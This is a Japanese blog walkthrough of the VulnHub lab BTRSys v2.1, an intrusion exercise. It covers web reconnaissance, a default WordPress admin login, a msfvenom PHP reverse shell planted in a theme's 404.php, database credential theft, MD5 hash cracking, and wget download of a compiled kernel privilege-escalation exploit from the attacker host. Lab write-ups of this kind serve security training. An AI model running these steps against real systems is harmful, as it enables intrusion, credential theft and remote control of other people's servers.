LoginSignup
2
2

More than 3 years have passed since last update.

【VulnHub】BTRSys: v2.1 - Walkthrough -

Last updated at Posted at 2019-08-16

「BTRSys: v2.1」は、「ismailonderkaya」によって開発され、VulnHubにて公開されているboot2rootチャレンジシリーズの一つです。

リリース情報

Walkthrough

列挙

稼働しているIPアドレスの特定 

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

Currently scanning: Finished!   |   Screen View: Unique Hosts                   

8 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 480                 
_____________________________________________________________________________   
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname         
-----------------------------------------------------------------------------
172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
172.16.208.2    00:50:56:f3:32:8a      4     240  VMware, Inc.
172.16.208.155  00:0c:29:05:d2:23      2     120  VMware, Inc.                   

これで、標的のIPアドレスが172.16.208.155であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -sS -sV -p 1-1024 -Pn 172.16.208.155コマンド構文を使用します。各オプションの狙いは、次の通りです。

  • -sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
  • -sV: サービスのバージョンスキャン
  • -p 1-1024: まずは、ウェルノウンポート(プロトコルが利用するために予約されている番号(1-1024)のみを探索対象とします)
  • -Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
root@kali:~# nmap -sS -sV -p 1-1024 -Pn 172.16.208.155
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-15 14:15 JST
Nmap scan report for 172.16.208.155
Host is up (0.00023s latency).
Not shown: 1021 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:05:D2:23 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

これで、標的にて21/tcp open ftp22/tcp open ssh80/tcp open httpのサービスが稼働していることが判明しました。

HTTPサービスのスキャン

ここで、HTTPサービスに注目してみました。実際に、Firefoxブラウザを使ってアクセスしてみます。なにやら蛇がとぐろを巻いています。
firefox.png

ウェブサイトの診断

ウェブサイトの脆弱性を診断するために、niktoを使用してみます。

root@kali:~# nikto -h 172.16.208.155
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.155
+ Target Hostname:    172.16.208.155
+ Target Port:        80
+ Start Time:         2019-08-15 14:41:32 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x51 0x54e208f152180 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/: A Wordpress installation was found.
+ 7537 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2019-08-15 14:41:46 (GMT9) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://172.16.208.155/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Aug 15 14:50:23 2019
URL_BASE: http://172.16.208.155/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.155/ ----
+ http://172.16.208.155/index.html (CODE:200|SIZE:81)                                                 
==> DIRECTORY: http://172.16.208.155/javascript/                                                      
+ http://172.16.208.155/LICENSE (CODE:200|SIZE:1672)                                                  
+ http://172.16.208.155/robots.txt (CODE:200|SIZE:1451)                                               
+ http://172.16.208.155/server-status (CODE:403|SIZE:302)                                             
==> DIRECTORY: http://172.16.208.155/upload/                                                          
==> DIRECTORY: http://172.16.208.155/wordpress/
---- Entering directory: http://172.16.208.155/wordpress/ ----
+ http://172.16.208.155/wordpress/index.php (CODE:301|SIZE:0)                                         
==> DIRECTORY: http://172.16.208.155/wordpress/wp-admin/                                              
==> DIRECTORY: http://172.16.208.155/wordpress/wp-content/                                            
==> DIRECTORY: http://172.16.208.155/wordpress/wp-includes/  

niktodirbコマンドの結果から、3つのファイル、ディレクトリについて注目してみます。

  • robots.txt
  • /upload/
  • /wordpress/

curlコマンドを使って、robots.txtを取得してみました。
robots.png

Firefoxで、/upload/ディレクトリにアクセスしてみました。SQLSTATE[HY000] [1049] Unknown database 'Lepton'のエラーメッセージが表示されました。
upload.png

WordPressの診断

/wordpress/ディレクトリにアクセスしてみましょう。なにやらスタイルが崩れていますね。このポイントを記憶しておきましょう。
wordpress.png

/wordpress/ディレクトリから、標的はCMSとしてWordPressを使用していることが推定できます。そこで、WPScanを使ってWordPressが抱えている脆弱性について診断を行います。
wscan.rb -u http://172.16.208.155/wordpress/ -e at -e ap -e uコマンド構文をを使用します。各オプションの狙いは、次の通りです。今回は、省略表記(--url ではなく、 -u)を使用しています。

  • --url | -u <標的のURL>
  • --enumerate | -e <オプション>: オプションの内容を列挙する
    • at: すべてのテーマを列挙する
    • ap: すべてのプラグインを列挙する
    • u: ID1~10までのユーザ名を列挙する
root@kali:~# locate wpscan.rb
/usr/share/wpscan/wpscan.rb
root@kali:~# /usr/share/wpscan/wpscan.rb -u http://172.16.208.155/wordpress/ -e at -e ap -e u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________


[i] It seems like you have not updated the database for some time
[i] Last database update: 2018-08-21
[?] Do you want to update now? [Y]es  [N]o  [A]bort update, default: [N] > A
Update aborted
[+] URL: http://172.16.208.155/wordpress/
[+] Started: Thu Aug 15 15:16:11 2019

診断結果からは、twentyfourteenテーマを使っていることが解ります。これは、ウェブマガジン風のレイアウトで表示できるスタイルのテーマです。

[+] WordPress theme in use: twentyfourteen

[+] Name: twentyfourteen
 |  Latest version: 2.2 
 |  Last updated: 2018-05-17T00:00:00.000Z
 |  Location: http://172.16.208.155/wordpress/wp-content/themes/twentyfourteen/
 |  Style URL: http://172.16.208.155/wordpress/wp-content/themes/twentyfourteen/style.css
 |  Referenced style.css: wp-content/themes/twentyfourteen/style.css

このほか、akismet - v3.0.1mail-masta - v1.0という2つのプラグインを使用していることが判明しています。

[+] We found 2 plugins:

[+] Name: akismet - v3.0.1
 |  Last updated: 2018-06-19T18:18:00.000Z
 |  Location: http://172.16.208.155/wordpress/wp-content/plugins/akismet/
 |  Readme: http://172.16.208.155/wordpress/wp-content/plugins/akismet/readme.txt
[!] The version is out of date, the latest version is 4.0.8

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
[i] Fixed in: 3.1.5

[+] Name: mail-masta - v1.0
 |  Latest version: 1.0 (up to date)
 |  Last updated: 2014-09-19T07:52:00.000Z
 |  Location: http://172.16.208.155/wordpress/wp-content/plugins/mail-masta/
 |  Readme: http://172.16.208.155/wordpress/wp-content/plugins/mail-masta/readme.txt
[!] Directory listing is enabled: http://172.16.208.155/wordpress/wp-content/plugins/mail-masta/

[!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
    Reference: https://wpvulndb.com/vulnerabilities/8609
    Reference: https://cxsecurity.com/issue/WLB-2016080220
    Reference: https://www.exploit-db.com/exploits/40290/

[!] Title: Mail Masta 1.0 - Multiple SQL Injection
    Reference: https://wpvulndb.com/vulnerabilities/8740
    Reference: https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6095
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6096
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6097
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6098

ユーザ名には、btriskadminが使用されていることが判明しています。

[+] Enumerating usernames ...
[+] We identified the following 2 users:
    +----+--------+--------+
    | ID | Login  | Name   |
    +----+--------+--------+
    | 1  | btrisk | btrisk |
    | 2  | admin  | admin  |
    +----+--------+--------+

[+] Finished: Thu Aug 15 15:17:50 2019
[+] Elapsed time: 00:01:38
[+] Requests made: 92983
[+] Memory used: 75.789 MB

アクセスの取得

WordPress の探索

dirbコマンドの結果から、WordPress 管理パネルが/wp-adminのままであることが判明しています。アクセスしてみましょう。
さらに、WPScanコマンドの結果から、2つのユーザbtriskadminが判明しています。ここでは、admin:adminの組み合わせを試してみましょう。無事、ログインに成功しました。
wp-login.png

/wordpress/ディレクトリへFirefoxでアクセスした際に、スタイルが崩れていたことを思い出してください。その原因を探って見ましょう。ログイン後に、左側の[Appearance](外観) > [Editor](テーマの編集)と選択します。その上でtwentyfourteen: Stylesheet (style.css)を表示してみましょう。
style.png

ここで注目は、php-reverse-shellの記述。どうやら先客がstyle.cssページにバックドア(pentestmonkeyのリバースシェルphp-reverse-shell)を仕掛けていたようです。
IPアドレスやポート番号を変更すれば、このまま使うことができそうです。
また、Kali Linuxには同じリバースシェルが/usr/share/webshells/php/php-reverse-shell.phpとして収録されています。先客と同じ方法を使っても面白くないので、別の方法を検討してみましょう。

ペイロードの作成

標的に侵入することができるよう、ペイロード(悪意のある動作を実現するコード)を作成します。今回は、PHPの環境でTCP接続で動作するリバースシェル(標的から攻撃端末に対して接続するタイプのシェル)の作成を目指します。

ここでは、攻撃コードの作成、実行を行うためのフレームワークソフトウエアであるMetasploit Frameworkを使用します。
今回、「PHP」で「TCP型のリバースシェル」であり、「ペイロード」なモジュールを必要としています。そこで、その条件を満たすモジュールを検索するためにsearch type:payload reverse_tcp platform:phpコマンド構文を入力します。

root@kali:~# msfconsole

       =[ metasploit v4.17.3-dev                          ]
+ -- --=[ 1795 exploits - 1019 auxiliary - 310 post       ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search type:payload reverse_tcp platform:php

Matching Modules
================

   Name                                      Disclosure Date  Rank    Description
   ----                                      ---------------  ----    -----------
   payload/php/meterpreter/reverse_tcp                        normal  PHP Meterpreter, PHP Reverse TCP Stager
   payload/php/meterpreter/reverse_tcp_uuid                   normal  PHP Meterpreter, PHP Reverse TCP Stager
   payload/php/meterpreter_reverse_tcp                        normal  PHP Meterpreter, Reverse TCP Inline
   payload/php/reverse_perl                                   normal  PHP Command, Double Reverse TCP Connection (via Perl)
   payload/php/reverse_php                                    normal  PHP Command Shell, Reverse TCP (via PHP)


msf >

php/meterpreter/reverse_tcpモジュールを使うのがよさそうです。
ペイロードを作成するには、msfvenomコマンドを使用します。コマンド構文は、msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.208.161 lport=4444 -f rawです。オプションの狙いは、次の通りです。

  • --payload | -p: ペイロードのパス
  • lhost=: 接続先IPアドレスの指定(攻撃端末)
  • lport=: 接続ポート番号の指定
  • --format | -f: 出力ファイルの形式

payload.png
出力されたペイロードのうち、<?phpからdie();までをクリップボードにコピーしておきます。
WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択します。その上でtwentyfourteen: 404 Template (404.php)を表示します。その内容を先ほどコピーしたペイロードに置き換えて、[Update File]ボタンをクリックします。
404.png

攻撃端末側でMetasploit Frameworkのコマンド構文を使用し、handlerを立ち上げてリバースシェルからの接続を待ち受けます。

root@kali:~# msfconsole

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.208.161
lhost => 172.16.208.161
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.208.161   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.208.161:4444 

handlerがアクティブな状態で、404.phpに接続します。

root@kali:~# curl http://172.16.208.155/wordpress/wp-content/themes/twentyforteen/404.php

URLが実行されると、セッションが開始されます。システム情報(sysinfo)とセッションの実行権限(getuid)について確認しましょう。

[*] Sending stage (37775 bytes) to 172.16.208.155
[*] Meterpreter session 1 opened (172.16.208.161:4444 -> 172.16.208.155:34420) at 2019-08-15 18:29:21 +0900

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter > 

システム探索

さらに、shellに入ります。

meterpreter > shell
Process 4443 created.
Channel 0 created.
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:    16.04
Codename:   xenial

www-data (33)権限で移動可能な/var/wwwディレクトリを探索してみましょう。

cd /var/www
ls -al
total 24
drwxrwxrwx  5 root     root     4096 May  2  2017 .
drwxr-xr-x 12 root     root     4096 Mar 17  2017 ..
-rw-------  1 www-data www-data  292 May  2  2017 .bash_history
drwxrwxrwx  2 www-data www-data 4096 May  2  2017 .nano
drwx------  2 www-data www-data 4096 Apr 27  2017 .ssh
drwxrwxrwx  5 root     root     4096 Apr 27  2017 html
cat .bash_history

.bash_historyにはmysql -uroot -prootpassword!の履歴が残っています。
さらに、/var/www/html/wordpressディレクトリへ移動し、wp-config.phpファイルの内容を確認します。

cd /var/www/html/wordpress
cat wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, WordPress Language, and ABSPATH. You can find more information
 * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
 * wp-config.php} Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

/** MySQL hostname */
define('DB_HOST', 'localhost');

MySQL探索

MySQLデータベースに直接ログインします。

mysql -uroot -prootpassword! -e "show databases;"
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
information_schema
deneme
mysql
performance_schema
phpmyadmin
sys
wordpress

wordpressデータベースのテーブルについて確認します。

mysql -uroot -p -D wordpress -e 'show tables;'
Enter password: rootpassword!
Tables_in_wordpress
wp_abtest_experiments
wp_abtest_goal_hits
wp_abtest_goals
wp_abtest_ip_filters
wp_abtest_variation_views
wp_abtest_variations
wp_commentmeta
wp_comments
wp_links
wp_masta_campaign
wp_masta_cronapi
wp_masta_list
wp_masta_reports
wp_masta_responder
wp_masta_responder_reports
wp_masta_settings
wp_masta_subscribers
wp_masta_support
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_terms
wp_usermeta
wp_users

wp_usersテーブルに登録されているユーザ一覧を確認します。

mysql -uroot -p -D wordpress -e 'select * from wp_users;'
Enter password: rootpassword!
ID  user_login  user_pass   user_nicename   user_email  user_url    user_registereduser_activation_key  user_status display_name
1   root    a318e4507e5a74604aafb45e4741edd3    btrisk  mdemir@btrisk.com       2017-04-24 17:37:04     0   btrisk
2   admin   21232f297a57a5a743894a0e4a801fc3    admin   ikaya@btrisk.com        2017-04-24 17:37:04     4   admin

パスワードハッシュ

user_pass列にパスワードがMD5ハッシュ化されて保存されていることが確認できます。
すでに21232f297a57a5a743894a0e4a801fc3ハッシュ値はadminであることが判明しています。
そこで、rootのハッシュ化されたパスワード文字列であるa318e4507e5a74604aafb45e4741edd3を元に戻すこと(復号)ができれば、パスワードを特定することが可能です。

Online Password Hash Databaseの一つであるHash Toolkitにて検索しました。結果、root:roottoorであることが特定できました。
同様に、findmyhashコマンドを使って、MD5ハッシュ化されたパスワード文字列の平文を検索することも可能です。

root@kali:~# findmyhash MD5 -h a318e4507e5a74604aafb45e4741edd3

Cracking hash: a318e4507e5a74604aafb45e4741edd3

Analyzing with goog.li (http://goog.li)...
... hash not found in goog.li

Analyzing with schwett (http://schwett.com)...
... hash not found in schwett

Analyzing with netmd5crack (http://www.netmd5crack.com)...
... hash not found in netmd5crack

Analyzing with md5-cracker (http://www.md5-cracker.tk)...
... hash not found in md5-cracker

Analyzing with benramsey (http://tools.benramsey.com)...
... hash not found in benramsey

Analyzing with gromweb (http://md5.gromweb.com)...
... hash not found in gromweb

Analyzing with hashcracking (http://md5.hashcracking.com)...
... hash not found in hashcracking

Analyzing with hashcracking (http://victorov.su)...
... hash not found in hashcracking

Analyzing with thekaine (http://md5.thekaine.de)...
... hash not found in thekaine

Analyzing with tmto (http://www.tmto.org)...
... hash not found in tmto

Analyzing with rednoize (http://md5.rednoize.com)...
... hash not found in rednoize

Analyzing with md5-db (http://md5-db.de)...
... hash not found in md5-db

Analyzing with my-addr (http://md5.my-addr.com)...

***** HASH CRACKED!! *****
The original string is: roottoor


The following hashes were cracked:
----------------------------------

a318e4507e5a74604aafb45e4741edd3 -> roottoor

root@kali:~# 
user_login user_pass(MD5ハッシュ値) 平文
admin 21232f297a57a5a743894a0e4a801fc3 admin
root a318e4507e5a74604aafb45e4741edd3 roottoor

得られたパスワードを使って、ssh接続を試行します。
whoamiコマンドにて、特権アカウントroot権限が取得できたことを確認できました。
whoami.png

特権の引き上げ

すでに、特権アカウントroot権限を取得することに成功しています。また、www-data (33)権限でのシェルも手に入れました。
ここでは、Exploitコードを使った特権昇格の可能性についても検討してみたいと思います。

システムは、Linux ubuntu 4.4.0-62-genericUbuntu 16.04.2 LTSにて動作していることが判明しています。
そこで、これら情報をもとに、特権昇格の可能性を探ります。
searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索します。

root@kali:~# searchsploit 4.4.0
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
Comodo Backup 4.4.0.0 - Null Pointer Dereference Privilege Es | exploits/windows/local/35905.c
Foxit MobilePDF 4.4.0 iOS - Multiple Vulnerabilities          | exploits/ios/webapps/35775.txt
Helpdesk Pilot Knowledge Base 4.4.0 - SQL Injection           | exploits/php/webapps/10788.txt
Linux 4.4.0 < 4.4.0-53 - AF_PACKET chocobo_root Privilege Esc | exploits/linux/local/44696.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET'  | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC)          | exploits/linux/dos/41457.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Esca | exploits/linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_o | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege E | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter targe | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - L | exploits/linux/local/43418.c
PHP 4.4.0 - 'mysql_connect function' Local Buffer Overflow    | exploits/windows/local/1406.php
Photo Manager Pro 4.4.0 iOS - Code Execution                  | exploits/ios/webapps/36798.txt
Photo Manager Pro 4.4.0 iOS - Local File Inclusion            | exploits/ios/webapps/36796.txt
eTouch SamePage 4.4.0.0.239 - Multiple Vulnerabilities        | exploits/php/webapps/36089.txt
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 

41458.c(EDB-ID: 41458)と44298.cEDB-ID: 44298)がPrivilege Escalation(特権昇格)のコードとして使えそうです。
41458.cコードをホームディレクトにコピーし、gccを使って実行できるようにコンパイルします。

root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/41458.c 41458.c
root@kali:~# gcc 41458.c -o exploit

標的へコードを送るため、ローカルサーバを立ち上げます。python -m SimpleHTTPServerコマンドを実行します。

root@kali:~# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.208.161 - - [15/Aug/2019 19:35:38] "GET /exploit HTTP/1.1" 200 -

標的のshellに入り、/tmpディレクトリに移動して、exploitに実行権限を与えて実行します。次のコマンド構文を使用します。

meterpreter > shell
Process 4568 created.
Channel 1 created.
cd /tmp
wget http://172.16.208.161:8000/exploit
chmod 777 exploit

まとめ

  1. nmapコマンドを使って、80番ポートがオープン状態であることを確認しました。
  2. niktodirbコマンドを使い、WordPressが採用されているウェブサイトであることを特定しました。
  3. WordPressの管理パネルパスワードが初期設定のadmin:adminのままでした。
  4. msfvenomコマンドを使ってphpのペイロード(リバースシェル)を作成し、ウェブサイトを改ざん(ペイロードを設置)しました。
  5. wp-config.php設定ファイルからMySQLの接続アカウントを特定しました。
  6. MySQLデータベースに直接ログインし、ハッシュ化されたパスワードを取得しました。
  7. ハッシュ化されたパスワードをOnline Password Hash Databaseを使って復号しました。
  8. searchsploitコマンドを使ってLinuxカーネルの脆弱性を検索し、特権昇格を行いました。
2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2